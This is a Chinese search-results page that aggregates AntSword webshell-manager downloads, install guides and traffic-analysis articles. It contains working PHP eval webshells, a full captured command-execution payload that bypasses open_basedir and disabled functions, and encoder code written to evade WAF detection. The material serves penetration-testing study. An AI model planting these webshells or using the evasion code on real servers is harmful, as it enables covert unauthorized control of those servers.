精华内容
下载资源
问答
  • 中国蚁剑,源码v2.1.9,加载器v4.0.3,windows版本。 本软件是从github官网下载的,给访问github网络卡的童鞋们准备的。
  • 需要蚁剑的load加载器同步试用版本为2.1.9方便git卡的时候需要用的人下载这个源码,将源码下载,load选择此解压的文件夹即可
  • 蚁剑#无后门放心下无后门 放心下
  • 这是中国蚁剑的源码,需要配合加载器使用。 下载解压后请校验文件Hash:MD5:86f8782319ee8ae30598661b785687d5 SHA256: 02EB59B190D00E0B21772B9B994FFE6D84BC90478F03E87EBA572FBF6DEB5FF1 打开蚁剑加载器,...
  • 中国蚁剑使用教程.zip

    2020-12-12 09:24:30
    中国蚁剑使用教程.zip 中国蚁剑采用了Electron作为外壳,ES6作为前端代码编写语言 利用js调用shell执行XSS代码
  • 中国蚁剑MAC版AntSword-Loader-v4.0.3-darwin-x64,git下载非常慢。
  • windows安装中国蚁剑-附件资源
  • 大名鼎鼎的中国蚁剑,已包括AntSword-Loader-v4.0.3-win32-x64和antSword-master
  • 中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。
  • 中国蚁剑加载器 v4.0.3-win32-x64.zip 下载解压后请校验文件Hash:MD5:85b80052224061e42f685021f28d1975 SHA256: C471A712A5331325EB86048BC0A2DA67ABA257544C7C847A6087EB34012A100C 解压之后打开主程序,...
  • AS_ASPX_AES_ENCODE 蚁剑AES加密通信ASPX Webshell 原理:
  • AntSword(蚁剑)全参数流量XOR+Base64,基于基础上进行改造,主要用来逃避一些流量检测。 使用 php、jsp、asp文件夹中会有单独的README文件,打开后可以看到具体的使用说明。 或者可以直接在github上点击进去也可以...
  • 中国蚁剑,免费拿走,自己踩过的坑,不想别人再踩
  • 中国蚁剑 webshell工具

    2021-08-12 16:29:21
    中国蚁剑
  • 蚁剑

    千次阅读 2020-10-04 20:56:39
    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。 就我个人而言:中华蚁剑是一款界面整洁,且比菜刀还好用的的shell控制端软件 二、中华蚁剑的...

    一、介绍

    蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

    就我个人而言:中华蚁剑是一款界面整洁,且比菜刀还好用的的shell控制端软件

    二、中华蚁剑的下载

    不多废话直接上链接

    网盘链接:
    点我提取
    提取码:mw13

    github链接:
    蚁剑源码
    核心加载器

    三、安装

    1、下载好以后将对应的压缩包放到对应的文件夹里后并解压。

    在这里插入图片描述

    2、打开加载器,以管理员的身份运行

    在这里插入图片描述

    3、初始化

    在这里插入图片描述

    4、选择核心源码解压后的文件夹

    在这里插入图片描述

    5、最后再次打开蚁剑即可

    在这里插入图片描述

    四、蚁剑的配置

    1、代理设置

    在这里插入图片描述

    2、连接目标网站

    在这里插入图片描述

    在这里插入图片描述

    展开全文
  • 中国蚁剑采用了作为外壳,ES6作为前端代码编写语言,搭配Babel&&Webpack进行组件化构建编译,外加iconv-lite编码解码模块以及superagent数据发送处理模块还有nedb数据存储模块,组成了这个年轻而又充满活力的新一代...
  • 因为这个蚁剑 的源码在线下载的速度实在太慢了,这里分享了一下这个蚁剑的加载器与源码,直接加载就行了,网络上有相关的安装教程。压缩包里有两个文件哦!
  • 中国蚁剑后渗透框架 详细介绍:http: 支持类型:php / jsp / aspx 有效载荷部分很多很多了了跟的实现,向其开发者们表示感谢! 支持列表 模块名称\ Shell类型 PHP ASPX JSP 基本信息 √ √ √ 反弹壳 √ √ ...
  • 内涵linux,windows双版本安装,最新最全的蚁剑安装包,强推建议收藏!!!!!
  • 蚁剑-AntSword

    2021-01-24 16:07:48
    WebShell
  • 蚁剑.rar (AntSword)

    2020-09-16 14:26:43
    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。其中一个文件为初始化,一个文件为初始化后需要选择的文件夹。
  • 蚁剑 shell
  • 中国蚁剑是一款开源的跨平台网站管理工具,主要面向于渗透测试安全和其他一些常规操作。
  • Java反序列化技术分享 本次分享涉及的东西有以下几点: Java序列化和反序列化基础 为什么在反序列化的时候会产生断裂? Java反射 ysoserial CommonsCollections2,CommonsCollections5 Java ClassLoader加载类的...
  • 中国蚁剑

    2020-12-22 12:06:47
    中国蚁剑AntSword中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。核心功能Shell代理功能Shell管理文件管理虚拟...

    中国蚁剑AntSword

    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。

    核心功能Shell代理功能

    Shell管理

    文件管理

    虚拟终端

    数据库管理

    插件市场

    插件开发

    开发版本针对有一定编程基础的开发者,你可以根据阅读文档或者分析源码了解熟悉整个应用的执行流程,然后便可随意对代码进行修改增强个性化自定义,真正打造出属于自己的一把宝剑!

    中国蚁剑AntSword下载安装

    蚁剑AntSword加载器安装

    从 v2.0.0-beta 版本开始,引入了加载器概念。用户/开发者只需要下载对应平台的加载器,无需安装额外的环境,即可对源代码进行编辑/执行/调试等操作。可直接运行当前最新的开发版和发行版源代码。点此获取加载器

    系统下载说明OSX/MACdmg中国蚁剑AntSword MAC安装

    Linux 64位linux-x64.zip中国蚁剑AntSword Linux安装

    Windows 64位windows-x64.zip中国蚁剑AntSword Windows安装

    注意:蚁剑加载器仅在 https://github.com/AntSwordProject/AntSword-Loader 发布,下载后请第一时间校验 md5 值。

    首次打开加载器时,界面如下图所示:蚁剑加载器

    点击「初始化」按钮,选择一个空目录作为蚁剑的工作目录,加载器会自动下载源代码。待提示初始化完毕时,重新打开蚁剑加载器,即可看到蚁剑的主界面。中国蚁剑antSword WebShell管理工具

    蚁剑AntSword下载源码编译安装

    下载蚁剑AntSword源码并安装依赖$ git clone https://github.com/antoor/antSword.git

    $ npm install

    编译源码$ npm run build

    启动应用$ npm start

    中国蚁剑AntSword使用

    以PHP为例蚁剑教程,在目标服务器的Web目录下新建一个Shell,名为ant.php,内容<?php eval($_POST['ant']); ?>

    打开AntSword,在空白位置单击「鼠标右键」,弹出菜单中选择 「添加数据」,在添加数据界面中,添加连接信息。然后点击 「添加」按钮,即可在数据管理中看到刚才添加的 Shell,双击刚才添加的 Shell,即可看到文件管理界面,右键会更到更多功能。使用大致和菜刀类似。使用中你会发现更多中国蚁剑AntSword的使用技巧。

    中国蚁剑AntSword使用

    待补充

    中国蚁剑AntSword下载

    展开全文
  • 蚁剑的分析和利用

    千次阅读 2021-11-19 17:21:30
    经分析,通过连通密钥首即可通过蚁剑的认证,达到连接成功的目的,但是连接成功后会出现这种情况。 所以我进行初步猜测,虚拟终端初始化没有问题,执行命令出现问题,所以我最开始的分析就先从执行命令功能开始进行...

    前言

    这篇文章主要是以虚拟终端模块执行命令功能为例,逐步分析,并通过分析结果优化对应脚本的方法。

    前情回顾

    已经解决了初步认证的问题

    image.png

    经分析,通过连通密钥首即可通过蚁剑的认证,达到连接成功的目的,但是连接成功后会出现这种情况。

    image.png

    所以我进行初步猜测,虚拟终端初始化没有问题,执行命令出现问题,所以我最开始的分析就先从执行命令功能开始进行。

    【一>所有资源获取<一】
    1、200份很多已经买不到的绝版电子书
    2、30G安全大厂内部的视频资料
    3、100份src文档
    4、常见安全面试题
    5、ctf大赛经典题目解析
    6、全套工具包

    一、流量分析

    首先我们抓一个虚拟终端的执行命令请求包进行初步的分析,之后我们将数据流进行URL解码。

    image.png

    image.png

    PS:为了大家方便查看,我将请求格式化后贴在了下面。

    f72002fb14c8e8 = SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3 & lefdf77c8e3d95 = yBY21k & pota123 = @ini_set("display_errors", "0");@
    set_time_limit(0);
    $opdir = @ini_get("open_basedir");
    if ($opdir) {
        $oparr = preg_split("/\\\\|\//", $opdir);
        $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
        $tmdir = ".5062e111e";@
        mkdir($tmdir);@
        chdir($tmdir);@
        ini_set("open_basedir", "..");
        for ($i = 0; $i < sizeof($oparr); $i++) {@
            chdir("..");
        }@
        ini_set("open_basedir", "/");@
        rmdir($ocwd.
            "/".$tmdir);
    };
    
    function asenc($out) {
        return $out;
    };
    
    function asoutput() {
        $output = ob_get_contents();
        ob_end_clean();
        echo "6d29".
        "1125";
        echo@ asenc($output);
        echo "699".
        "aa2b";
    }
    ob_start();
    try {
        $p = base64_decode(substr($_POST["lefdf77c8e3d95"], 2));
        $s = base64_decode(substr($_POST["f72002fb14c8e8"], 2));
        $envstr = @base64_decode(substr($_POST["w641c9ee55f10c"], 2));
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
        if (substr($d, 0, 1) == "/") {@
            putenv("PATH=".getenv("PATH").
                ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
        } else {@
            putenv("PATH=".getenv("PATH").
                ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
        } if (!empty($envstr)) {
            $envarr = explode("|||asline|||", $envstr);
            foreach($envarr as $v) {
                if (!empty($v)) {@
                    putenv(str_replace("|||askey|||", "=", $v));
                }
            }
        }
        $r = "{$p} {$c}";
    
        function fe($f) {
            $d = explode(",", @ini_get("disable_functions"));
            if (empty($d)) {
                $d = array();
            } else {
                $d = array_map('trim', array_map('strtolower', $d));
            }
            return (function_exists($f) && is_callable($f) && !in_array($f, $d));
        };
    
        function runshellshock($d, $c) {
            if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
                if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                    $tmp = tempnam(sys_get_temp_dir(), 'as');
                    putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                    if (fe('error_log')) {
                        error_log("a", 1);
                    } else {
                        mail("a@127.0.0.1", "", "", "-bv");
                    }
                } else {
                    return False;
                }
                $output = @file_get_contents($tmp);@
                unlink($tmp);
                if ($output != "") {
                    print($output);
                    return True;
                }
            }
            return False;
        };
    
        function runcmd($c) {
            $ret = 0;
            $d = dirname($_SERVER["SCRIPT_FILENAME"]);
            if (fe('system')) {@
                system($c, $ret);
            }
            elseif(fe('passthru')) {@
                passthru($c, $ret);
            }
            elseif(fe('shell_exec')) {
                print(@shell_exec($c));
            }
            elseif(fe('exec')) {@
                exec($c, $o, $ret);
                print(join("
    ", $o));
            }
            elseif(fe('popen')) {
                $fp = @popen($c, 'r');
                while (!@feof($fp)) {
                    print(@fgets($fp, 2048));
                }@
                pclose($fp);
            }
            elseif(fe('proc_open')) {
                $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
                while (!@feof($io[1])) {
                    print(@fgets($io[1], 2048));
                }
                while (!@feof($io[2])) {
                    print(@fgets($io[2], 2048));
                }@
                fclose($io[1]);@
                fclose($io[2]);@
                proc_close($p);
            }
            elseif(fe('antsystem')) {@
                antsystem($c);
            }
            elseif(runshellshock($d, $c)) {
                return $ret;
            }
            elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) {
                $w = new COM('WScript.shell');
                $e = $w - > exec($c);
                $so = $e - > StdOut();
                $ret. = $so - > ReadAll();
                $se = $e - > StdErr();
                $ret. = $se - > ReadAll();
                print($ret);
            } else {
                $ret = 127;
            }
            return $ret;
        };
        $ret = @runcmd($r.
            " 2>&1");
        print($ret != 0) ? "ret={$ret}" : "";;
    } catch (Exception $e) {
        echo "ERROR://".$e - > getMessage();
    };
    asoutput();
    die(); & w641c9ee55f10c = Ut
    

    通过数据包的请求和响应我们取出最关键的两处。

    image.png

    image.png

    通过初步分析我们得知一个信息,请求内容的核心代码位置存在关键的变量引用,这点开始引起了我的重视。(最后分析过全部功能后,把这块弄明白可以解决全部功能的问题)

    PS:执行命令流量包的特征我就不写了,可以自行去分析流量包寻找特征。

    二、代码分析

    通过流量分析我们得到了一处变量串,并且得知解码方式,我们写个函数先给内容解密一下看看。

    f72002fb14c8e8=SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3&lefdf77c8e3d95=yBY21k&pota123=@ini_set("display_errors", "0")
    

    image.png

    我们解密后得知变量的内容为到这里,我们已经获取了执行命令的唯一特征。(PS:这里我们可以直接通过对base64编码的方式来确定命令内容,具体细节就不多说了懂的都懂。)

    cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87
    

    image.png

    我们现在已经可以确定命令特征了,通过流量分析得到的特征,稍作修改我们就可以实现虚拟终端的全部功能了。但是我们还有一个关键问题没有解决,”返回连接那里执行命令返回一次内容后,路径发生变化导致后续命令执行失败“

    image.png

    三、整合分析

    这块其实卡了很久,一直想为什么,按理来说,认证通过了命令也能成功解析应该是不会出现这个问题才对的,难道说请求包里有内容在控制路径?或者说这块的信息是当前路径?带着这种思路我打开了蚁剑的源码开始分析。

    终于我找到了命令执行这块的核心代码,如下图。

    image.png

    我们可以看到这个就是我们代码分析处得到命令执行内容。我们关联一下两者之间的关系。

    `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` :
     `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` :
     `cd "${path}";${cmd};echo [S];pwd;echo [E]`);
    
    cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87
    

    我们很容易就可以看出来 8b226e44 9db7f88c87就是对应的[S] [E],可是[S][E]是什么东西呢,难道是认证么,我们回过头来去分析流量包。

    image.png

    OK,问题解决了,也就是说我们接受到数据后,只返回了第一步认证(这里我叫做连通性密钥),而我们没有通过第二步认证([S]当前路径[E]),所以我们的蚁剑就只获取到了win-raf7i2l9ph1\potato这一个有效数据,自然而然在当前路径处渲染了win-raf7i2l9ph1\potato的内容了。所以我们命令执行只需要构造这样一个请求包

    image.png

    四、实现效果

    最后只需要编写对应的脚本,这里我提醒一下大家,执行命令的数据包有两种特征。

    image.png

    后语

    思路篇写的太急了,今天抽时间写了分析篇,主要拿命令执行这块来举例,其他功能虽然和命令执行特征不完全一样,但是也都是这个思路。这个手法我觉得最重要的是怎么让攻击者按照你的思路来走,一步一步降低他的防备心,最后落入你的反(PIAN)制 (JU) 当中去。

    展开全文
  • 蚁剑编解码器原理蚁剑编解码器原理一、编码器编码器修改二、解码器 蚁剑编解码器原理 编码器:对发送流量进行编码,服务端进行解码 解码器:对服务端对返回的流量进行解码 一、编码器 输入三个参数 pwd:连接密码,...

    蚁剑编解码器原理

    编码器:对发送流量进行编码,服务端进行解码

    解码器:对服务端对返回的流量进行解码

    一、编码器

    输入三个参数
    pwd:连接密码,类型string。
    data:传输的数据数组,类型string数组,。
    ext:一些扩展选项,在一些场景可能会用到。
    
    输出一个参数
    data: 编码器处理后的数组,这个你可以通过代理查看post提交了哪些数据,和这里的data是完全一样的
    

    下面是编码器默认生成的代码

    原理:将编码和解密后的代码 全都传递过去

    我们在抓包的时候会看到有一段 明文代码,也就是解密后的代码

    在这里插入图片描述

    以下代码的功能:

    • 将要发送的数据进行 编码,对应 data[randomID]
    • 将从服务器接收的数据进行 解码,对应 data[pwd],解码后依然会再次发给服务器,因此就能在requestBody中看到 明文传输
    /**
     * php::base64编码器
     * Create at: 2021/10/17 14:07:48
     */
    
    'use strict';
    
    /*
    * @param  {String} pwd   连接密码
    * @param  {Array}  data  编码器处理前的 payload 数组
    * @return {Array}  data  编码器处理后的 payload 数组
    */
    module.exports = (pwd, data, ext={}) => {
      // ##########    请在下方编写你自己的代码   ###################
      // 以下代码为 PHP Base64 样例
    
      // 生成一个随机变量名
      let randomID = `_0x${Math.random().toString(16).substr(2)}`;
      // 原有的 payload 在 data['_']中
      // 取出来之后,转为 base64 编码并放入 randomID key 下
      data[randomID] = Buffer.from(data['_']).toString('base64');
    
      // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
      data[pwd] = Buffer.from(data['_']).toString('base64');
    
      // ##########    请在上方编写你自己的代码   ###################
    
      // 删除 _ 原有的payload
      delete data['_'];
      // 返回编码器处理后的 payload 数组
      return data;
    }
    

    编码器修改

    如果不想要传递解码后的代码这一步,需要更改以下两个内容

    1. 上传到 服务器的webshell(一句话木马)

      <?php eval(base64_decode($_POST["test"]));?>
      
    2. 修改编码器的内容,使之不发送 解码后的内容,直接只发送 base64编码后的数据

      /**
       * php::base64编码器
       * Create at: 2021/10/17 22:03:40
       */
      
      'use strict';
      
      /*
      * @param  {String} pwd   连接密码
      * @param  {Array}  data  编码器处理前的 payload 数组
      * @return {Array}  data  编码器处理后的 payload 数组
      */
      module.exports = (pwd, data, ext={}) => {
        // ##########    请在下方编写你自己的代码   ###################
        // 以下代码为 PHP Base64 样例
      
        // 生成一个随机变量名
        //let randomID = `_0x${Math.random().toString(16).substr(2)}`;
        // 原有的 payload 在 data['_']中
        // 取出来之后,转为 base64 编码并放入 randomID key 下
        //data[randomID] = Buffer.from(data['_']).toString('base64');
      
        // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
        data[pwd] = Buffer.from(data['_']).toString('base64');
      
        // ##########    请在上方编写你自己的代码   ###################
      
        // 删除 _ 原有的payload
        delete data['_'];
        // 返回编码器处理后的 payload 数组
        return data;
      }
      

    然后进行连接,会显示连接成功
    在这里插入图片描述

    最后抓包看一下数据包,这样就看不到 解码后的代码了,隐蔽性就有了很大的提升

    但是像这种通过虚拟终端执行命令,防御者可以通过命令执行回显内容进而判断是 攻击事件

    在这里插入图片描述

    因此我们还需要考虑解码模块,也就是说解码器不要选择默认的方式

    二、解码器

    首先看一下解码的两个关键函数 asoutputdecode_buff

    • asoutput:将返回的数据编码
    • decode_buff:接收时进行解码操作

    ext是一个扩展选项,有包括密码等选项,可扩展操作,比如需要有key进行解码。

    /**
     * php::base64解码器
     * Create at: 2021/10/17 22:02:33
     */
    
    'use strict';
    
    module.exports = {
      /**
       * @returns {string} asenc 将返回数据base64编码
       * 自定义输出函数名称必须为 asenc
       * 该函数使用的语法需要和shell保持一致
       */
      asoutput: () => {
        return `function asenc($out){
          return @base64_encode($out);
        }
        `.replace(/\n\s+/g, '');
      },
      /**
       * 解码 Buffer
       * @param {string} data 要被解码的 Buffer
       * @returns {string} 解码后的 Buffer
       */
      decode_buff: (data, ext={}) => {
        return Buffer.from(data.toString(), 'base64');
      }
    }
    

    编写解码器之后,进行测试,会发现响应包也进行了加密,并且返回部分前后有分界字符串,只有客户端知道分界位置。WAF不知道,也就没办法解码

    在这里插入图片描述

    但是随机技术的不断发展与进步,很多时候WAF也能够通过正则匹配的方式进行有效的识别 base64 编码,因此我们需要更复杂的加密无绕过WAF

    例如,我们执行了一个命令,因为命令是固定不变的,因此编码后也是固定不变的,就能够以此作为特征去检测

    展开全文
  • 蚁剑从入门到魔改【一】一、明文通信二、密文通信三、自定义编解码source/core/php/index.jssource/core/php/base64.js自定义加密算法四、参考文章 连接地址 选用网卡 一、明文通信 特征 =%40ini_set set_time_...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,020
精华内容 3,208
关键字:

蚁剑

友情链接: SOC.rar